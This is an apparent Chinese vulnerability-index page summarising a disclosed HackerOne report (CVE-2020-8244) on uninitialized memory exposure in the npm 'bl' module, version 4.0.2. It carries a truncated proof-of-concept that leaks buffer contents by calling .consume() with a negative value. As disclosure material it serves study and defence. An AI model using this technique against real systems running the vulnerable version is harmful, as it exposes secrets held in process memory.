POJIA破甲
地图 / [bl] Uninitialized memory exposure via negative .consume()

[bl] Uninitialized memory exposure via negative .consume()

内存破坏 / 缓冲区越界读 / #966347

厂商
Node.js third-party modules
严重程度
中危 · CVSS 7.7
赏金
—
弱点
缓冲区越界读
研究员
@chalker
披露日期
2020-08-27
资产
Other module
CVE
CVE-2020-8244

该报告还没有中文解读。

原文摘录

摘自原文(1611 字符中的一小部分)
**module name:** bl **version:** 4.0.2 **npm page:** `https://www.npmjs.com/package/bl`
原文中的代码
const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) { …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @chalker · 版权归作者与 Node.js third-party modules 所有

同类报告

Heap Buffer Overflow (READ: 4) in phar_parse_pharfileInternet Bug Bounty · 2020-10-10Out-of-bounds read in iconv.c:_php_iconv_mime_decode() due to integer overflowInternet Bug Bounty · 2020-10-12 · $1,500CVE-2024-7264: ASN.1 date parser overreadcurl · 2024-08-01CVE-2024-7347: Buffer overread in the ngx_http_mp4_moduleInternet Bug Bounty · 2024-08-27 · $2,142apache access.log leakage via long request on https://rapida.ru/QIWI · —CVE-2025-9086: Out of bounds read for cookie pathcurl · 2025-09-10